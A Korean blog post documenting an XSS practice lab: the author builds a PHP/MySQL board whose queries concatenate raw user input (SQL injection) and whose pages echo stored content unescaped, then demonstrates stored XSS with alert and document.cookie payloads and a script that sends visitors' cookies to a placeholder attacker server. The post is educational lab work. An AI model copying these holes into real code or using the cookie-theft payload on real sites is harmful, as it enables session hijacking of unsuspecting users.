WEB 정리

XSS 실습

기무진현 2023. 5. 24. 21:00

먼저 XSS 실습에 사용할 페이지를 구축해봤다.

1. mysql을 통해서 board라는 테이블을 위와 같은 요소로 구성

위는 입력한 테이블을 확인한 모습이다.

2. 서버를 구성하는 파일을 작성했다.

<?php
    $db = new mysqli("localhost", "jinhyun", "0803", "jinhyun");

    function sq($query) {
        global $db;
        return $db->query($query);
    }
?>

- db_info.php

<?php
    include "../common/db_info.php";
    error_reporting(E_ALL);
    ini_set("display_errors", 1 );
?>

<?php
    $idx = $_GET['idx'];
    $sql = "SELECT * FROM board WHERE idx = " . $idx;
    $result = sq($sql);
    $row = mysqli_fetch_array($result);

    echo "idx : " . $row['idx'] . "<br>";
    echo "id : " . $row['id'] . "<br>";
    echo "pw : " . $row['pw'] . "<br>";
    echo "title : " . $row['title'] . "<br>";
    echo "content : " . $row['content'] . "<br>";
    echo "date : " . $row['date'] . "<br>";
    echo "hit : " . $row['hit'] . "<br>";
    echo "is_lock : " . $row['is_lock'] . "<br>";
    echo "is_delete : " . $row['is_delete'] . "<br>";
?>

- read.php

 
<?php
    include "../common/db_info.php";
    error_reporting(E_ALL);
    ini_set( "display_errors", 1 );
?>
<?php
    // 과제 : id, title, content, pw 값 POST 형태로 받아올것
    $id = $_POST['id'];
    $title = $_POST['title'];
    $content = $_POST['content'];
    $pw = $_POST['pw'];
    $date = date("Y-m-d H:i:s",time());
    $is_lock = isset($_POST['is_lock']) ? 1 : 0; // is_lock 이라는 매개변수가 들어오면 1 아니면 0

    echo "id : " . $id . "<br>";
    echo "title : " . $title . "<br>";
    echo "content : " . $content . "<br>";
    echo "pw : " . $pw . "<br>";
    echo "date : " . $date . "<br>"; // 시간은 서버시간을 따라감(서버시간은 GMT+0임)
    echo "is_lock : " . $is_lock . "<br>";

    // 과제 : INTO board() 안에 짜기
    $sql = "INSERT
            INTO board(id, pw, title, content, date, is_lock)
            VALUES ('" . $id . "', '" . $pw . "', '" . $title . "', '" . $content . "', '" . $date . "', " . $is_lock . ")";
    echo $sql;

    $result = sq($sql);

    // 제대로 들어갔는지 검사하는 부분
    if($result === True) {
        // 값이 들어갔으면 성공 멘트 출력하고, write.php로 돌아가기
        echo "<script>alert('글쓰기가 성공하셨습니다!');</script>";
    } else {
        // 값이 잘 안들어 갔으면 실패 멘트 출력하고, 이전 페이지로 돌아가기
        echo "<script>alert('글쓰기가 실패하였습니다ㅠ');</script>";
    }
?>
<br>
<!-- location.href : 해당 페이지로 가기(페이지를 새로 불러옴) -->
<!-- history.back() : 이전 페이지로 가기(단순히 뒤로가기 때문에 정보가 살아있음) -->
<input type="button" value="뒤로가기 1" onclick="location.href='write.php'">
<input type="button" value="뒤로가기 2" onclick="history.back()">

-write_ok.php

<html>
<head>
    <title>write</title>

    <style>
        input[type="text"], input[type="password"], textarea {
            width : 30%;
        }

        textarea {
            height : 200px;
        }
    </style>
</head>
<body>

    <h1>write</h1>
   
 
    <form method="POST" action="./write_ok.php">
        
        <input type="text" name="id" placeholder="id" required>
        <br>
        
        <input type = "text" name="title" placeholder = "title" required>
        <br>
        
        <textarea name = "content" placeholder = "content" required></textarea>
        <br>
        
        <input type="password" name="pw" placeholder="pw" required>
        <br>

        <p>You want to lock?</p>
        
        <input type="checkbox" name="is_lock">
        <br>
        
        <input type="submit" value="Submit">
    </form>

    <a href="../index.php">메인으로 돌아가기</a>
</body>
</html>

-write.php

<?php
    include "./common/db_info.php";
    error_reporting(E_ALL);
    ini_set( "display_errors", 1 );
?>
<html>
<head>
    <title>index</title>

    <style>
        table {
            text-align : center;
        }
       
        a {
            text-decoration : none;
        }
    </style>
</head>
<body>

    <h1>자유 게시판</h1>

    <table border="1">
        <tr>
            <th>번호</th>
            <th>제목</th>
            <th>작성자</th>
            <th>조회수</th>
            <th>잠금 여부</th>  
        </tr>
    <?php
        board 테이블의 모든 내용을 가져오기
        $sql = "SELECT * FROM board";
        쿼리 보내고 변수에 받기
        $result = sq($sql);
       mysqli_fetch_array로 변수에 저장하고 row가 없을때까지 반복
        while ($row = mysqli_fetch_array($result)){
    ?>
        <tr>
            <td><?php echo $row['idx']; ?></td>
            <td>
                
                <a href="./read/read.php?idx= <?php echo urlencode($row['idx']); ?>">
                    <?php echo $row['title']; ?>
                </a>
            </td>
            <td><?php echo $row['id']; ?></td>
            <td><?php echo $row['hit']; ?></td>
            <td><?php echo $row['is_lock'] == 1 ? "lock" :""; ?></td>
        </tr>
    <?php
        
        }
    ?>
    </table>
    
    <a href="./write/write.php">글쓰기</a>
</body>
</html>

- index.php

 

3.서버를 구현하고 한번 실행해봤다.

write.php
write_ok.php
index.php
read.php

4. XSS 공격 확인

일단 XSS 공격이란 공격자가 웹 리소스에 악성 스크립트를 삽입해 특정 계정의 세션 정보를 탈취한 뒤 해당 계정으로 임의의 기능을 수행 가능하게 하는 취약점이다. 즉 xss 공격을 시도하기 위해서 게시글 기능을 이용해서 확인해보겠다.

xss 공격을 확인하기 위해서 대표적인 코드인 <script> alert("this is me!"); </script>를 사용해 확인해 봤다. 위의 코드를 보면 xss 공격을 방어하기 위한 방화벽이나 필터링이 존재하지 않으므로 xss가 실행될 것이다. 한번 확인하기 위해 submit을 눌러봤다.

누르는 순간 alert 함수가 실행되어 그 안에 있는 this is me!가 뜬 것을 확인할 수 있다. 즉 이 페이지에서 xss를 공격이 가능하다는 것을 알 수 있다.

content 창에 썼던 <script> alert("this is me!"); </script>가 사라져 있는 것을 확인할 수 있다. 이를 통해 해당 코드가 실행된 것을 확인할 수 있다.

 

Stored XSS

게시글에 <script> alert(document.cookie); </script>을 넣어서 올려봤다.

 

게시글이 정상적으로 올라온 것을 확인할 수 있다. 게시물에 들어가보자!

 

악성 스크립트가 포함된 게시물을 올릴 시 해당 게시물을 조회할 때 악성 스크립트가 실행되어 Stored XSS가 발생하는 것을 확인할 수 있다.

 

이를 이용해서 세션 탈취를 실습해봤다.

기본적인 시나리오는 이와 같다.

 

[1] Stored XSS 게시글 작성

[2] 사용자가 게시글 조회 시 xss.txt에 document.cookie 값 보내주기

 

 name부분에는 아무거나 입력을 해주고 massage부분에 해당 스크립트를 넣어준다.

<script> document.location = '[서버 주소]' + document.cookie </script>

 

게시글을 작성하게 되면 페이지가 없다고 에러 메시지가 뜨는 창이 나온다. payload가 바로 실행이되서 창이 뜨지 않은 것 같다.

다른 메뉴를 눌러서 다시 게시판글로 와서 게시글을 눌러봤다.

마찬가지로 에러 메시지가 뜨면서 주소창에 쿠키값이 나타나는 것을 확인할 수 있으며 개발자 도구를 열어서 응용프로그램 -> 쿠키를 들어가서 확인을 해보게되면 위와 같이 세션아이디가 같다는 것을 확인할 수 있다.

 

 게시글을 클릭시 클릭한 사람들의 세션을 탈취할 수 있는 것을 확인했다. stored xss는다수의 사용자 쿠키값을 대량 탈취할 수 있기때문에 꼭 대응을 해줘야한다.